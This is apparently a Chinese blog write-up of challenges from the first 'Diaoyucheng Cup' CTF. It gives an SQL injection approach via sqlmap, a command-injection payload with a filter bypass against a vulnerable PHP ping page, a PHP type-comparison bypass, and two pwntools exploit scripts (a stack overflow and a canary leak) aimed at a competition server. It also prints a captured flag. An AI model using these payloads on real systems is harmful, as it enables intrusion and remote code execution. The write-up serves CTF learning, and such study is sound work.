您现在的位置是:首页 >技术杂谈 >首届“钓鱼城”杯网络安全技能大赛Web&PWN网站首页技术杂谈

首届“钓鱼城”杯网络安全技能大赛Web&PWN

SlackMoon 2024-06-11 00:00:02
简介首届“钓鱼城”杯网络安全技能大赛Web&PWN

WEB

简单的注入

先使用Dirsearch扫描,发现存在Robots.txt文件,进行访问,得到如下提示:

不难发现存在一个登录页面和一个存在明显注入点的页面;

我们可以使用SQLMap跑出对应数据库中的登录信息,然后登录即可获得Flag


Ping

        这是一道简单的RCE的题目;照例先查看一下当前目录下的文件;

127.0.0.1 | ls

        执行后发现存在flag文件,我们尝试直接查看,但是不行;通过抓包分析得知进行了过滤

代码如下:

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['ip'])){
    $ip = $_GET['ip'];
    if(!preg_match("/;|flag|@|*|?|'|"/i",$ip)){
        system('ping -c 4 '.$ip);
    }
    else{
        echo "<script>alert('bad argument')</script>";
    }
}

                我们可以通过?ip=127.0.0.1|cat%20fla%1g进行绕过,或者使用Base64编码绕过;即可获得Flag


Hasai 

PHP的强类型比较,我们可以使用数值绕过:

PHP中的弱类型比较和强类型比较可以参考:

(42条消息) ctfshow-php特性-超详解(干货)_ctfshowphp特性_Yn8rt的博客-CSDN博客

(45条消息) WEB攻防-PHP特性&缺陷对比函数&CTF考点_intval绕过_@墨竹的博客-CSDN博客

<?php
highlight_file(__FILE__);
error_reporting(0);
include "flag.php";
if (!isset($_POST['username']) && !isset($_POST['password'])){exit(0);}
$username = $_POST['username'];
for ($i = 0;$i < count($username); $i++){
    if ($username[$i] === 'admin'){
        echo "error";
        exit(0);
    }
    $username[$i] = intval($username[$i]);
}
if (array_search("admin",$username) === 0){
    if(strcmp($_POST['password'],$password) == 0 ){
        echo "<br>Right! login success! </br>";
        echo $flag;
    }else{
        echo "<br>wrong password<br>";
    }
}


Pwn

easy_pwn

使用IDApro(32位)打开文件并查看Main函数伪代码

main()函数中存在关键函数message()的调用,然后查看message()函数的伪代码

发现存在无限字节的栈溢出,接下来通过覆盖char s [28]和 rbp再添加shellcode_addr即可getshell,发现程序中存在flag()后门函数地址为0x08048519

Exp:

from pwn import *
r = remote('101.42.165.118',20001)
shellcode_addr = 0x08048519
payload = b'X' * 32 + p32(shellcode_addr)
r.sendline(payload)
r.interactive()

ez_canary

使用IDApro(64位)打开文件并查看Main函数伪代码

main()函数中存在关键函数vuln()的调用,然后我们查看vuln()函数的伪代码

        要先泄露Canary然后再构造Payload,发现char v4[10] 此时我们只需要利用read()函数填充v4为11即可泄露Canary,然后我们我们再通过下一个read()函数发送payload = padding + cannary + padding + shell_addr 即可getshell

Exp:

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
io = remote('101.42.165.118', 20002)

payload = b'a' * 11
io.send(payload)
io.recvuntil('a' * 11)
canary = u64('x00' + io.recv(7))
log.success('Canary:	' + hex(canary))

payload2 = b'a' * 20 + p64(canary) + b'a' * 8 + p64(0x000000000040121E)
io.send(payload2)

io.interactive()


#DASCTF{9c565f3584a8e7ad64a73996b615811b}

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。